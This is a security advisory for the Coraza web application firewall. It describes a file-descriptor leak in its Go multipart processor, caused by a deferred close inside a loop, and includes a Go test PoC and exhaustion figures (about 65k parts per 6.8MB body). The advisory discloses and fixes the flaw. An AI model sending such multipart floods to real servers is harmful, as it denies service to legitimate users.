---
id: GHSA-rp9v-7xv3-r6g3
title: >-
  Coraza: Resource exhaustion via deferred file handle accumulation in multipart
  body processor
summary: >-
  Coraza: Resource exhaustion via deferred file handle accumulation in multipart
  body processor
severity: medium
cvss: 5.3
cwe:
  - CWE-400
  - CWE-772
vendor: corazawaf
product: github.com/corazawaf/coraza/v3
ecosystem: go
affected:
  - 'github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.0'
patched:
  - github.com/corazawaf/coraza/v3 3.8.0
published: '2026-10-08'
updated: '2026-10-08'
sourceUpdated: '2026-10-08T17:52:01Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-rp9v-7xv3-r6g3'
references:
  - url: >-
      https://github.com/corazawaf/coraza/security/advisories/GHSA-rp9v-7xv3-r6g3
  - url: >-
      https://github.com/corazawaf/coraza/commit/1bc39036e99c88e7de60cf8e6bb55ee4c311223c
  - url: 'https://github.com/corazawaf/coraza/releases/tag/v3.8.0'
  - url: 'https://github.com/advisories/GHSA-rp9v-7xv3-r6g3'
tags:
  - ghsa
  - go
ingestedAt: '2026-10-08T17:56:11.720Z'
---

## Overview

## Summary

`defer temp.Close()` sits inside a `for` loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until `ProcessRequest()` exits. Send enough parts and you hit `EMFILE`. With CRS loaded, that flips `MULTIPART_STRICT_ERROR` to 1 and rule `200001` starts returning 400s, including on legitimate requests hitting the same condition.

## Details

`internal/bodyprocessors/multipart.go`, line 69:

```go
for {
    p, err := mr.NextPart()
    // ...
    temp, err := os.CreateTemp(storagePath, "crzmp*")
    defer temp.Close() // wrong scope
    io.Copy(temp, p)
}
```

Each iteration opens a temp file and defers its close. All of them stack up and fire together when `ProcessRequest` returns. 500 parts, 500 fds held simultaneously.

The body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, `Content-Disposition` with `filename=`, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.

Fix is straightforward: call `temp.Close()` explicitly after `io.Copy` instead of deferring it.

## PoC

Tested on v3.7.0 (`db9850b`), Go 1.25, Linux x86_64.

Add this file at `internal/bodyprocessors/poc_fd_test.go` and run:

```text
go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...
```

```go
package bodyprocessors_test

import (
	"fmt"
	"os"
	"strings"
	"sync"
	"sync/atomic"
	"testing"

	"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
	"github.com/corazawaf/coraza/v3/internal/bodyprocessors"
	"github.com/corazawaf/coraza/v3/internal/corazawaf"
)

func countFDs() int {
	e, _ := os.ReadDir("/proc/self/fd")
	return len(e)
}

func TestMultipartFDLeak(t *testing.T) {
	boundary := "testboundary"
	var sb strings.Builder
	for i := 0; i < 500; i++ {
		fmt.Fprintf(&sb, "--%s\r\n", boundary)
		fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i)
		sb.WriteString("\r\n")
		sb.WriteString("X\r\n")
	}
	fmt.Fprintf(&sb, "--%s--\r\n", boundary)

	mp, _ := bodyprocessors.GetBodyProcessor("multipart")
	baseline := countFDs()

	var peak int64
	done := make(chan struct{})
	var wg sync.WaitGroup
	wg.Add(1)
	go func() {
		defer wg.Done()
		for {
			select {
			case <-done:
				return
			default:
				n := int64(countFDs())
				for {
					cur := atomic.LoadInt64(&peak)
					if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) {
						break
					}
				}
			}
		}
	}()

	v := corazawaf.NewTransactionVariables()
	mp.ProcessRequest(strings.NewReader(sb.String()), v,
		plugintypes.BodyProcessorOptions{
			Mime:        "multipart/form-data; boundary=" + boundary,
			StoragePath: t.TempDir(),
		})
	close(done)
	wg.Wait()

	t.Logf("baseline=%d  peak=%d  spike=+%d",
		baseline, atomic.LoadInt64(&peak),
		atomic.LoadInt64(&peak)-int64(baseline))
}
```

Output:

```text
baseline=7  peak=506  spike=+499
```

The spike is ~1 fd per part. After `ProcessRequest` returns the deferred closes fire and it drops back to baseline.

## Impact

- **No authentication required.** Any endpoint that accepts multipart uploads is affected.
- **fd exhaustion at ~6.8MB body (~65k parts).** `os.CreateTemp` starts returning errors and `MULTIPART_STRICT_ERROR` is set to 1.
- **CRS false positives / DoS.** With CRS loaded, rule `200001` then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload.
- **Process-wide impact.** While the fd table is full the process can't open sockets or files for anything else either.
- **Scope.** Affects all v3.x releases; the `defer` has been present since the multipart processor was introduced.

## Affected packages

- `github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.0`

## Remediation

Upgrade to a patched release:

- `github.com/corazawaf/coraza/v3 3.8.0`
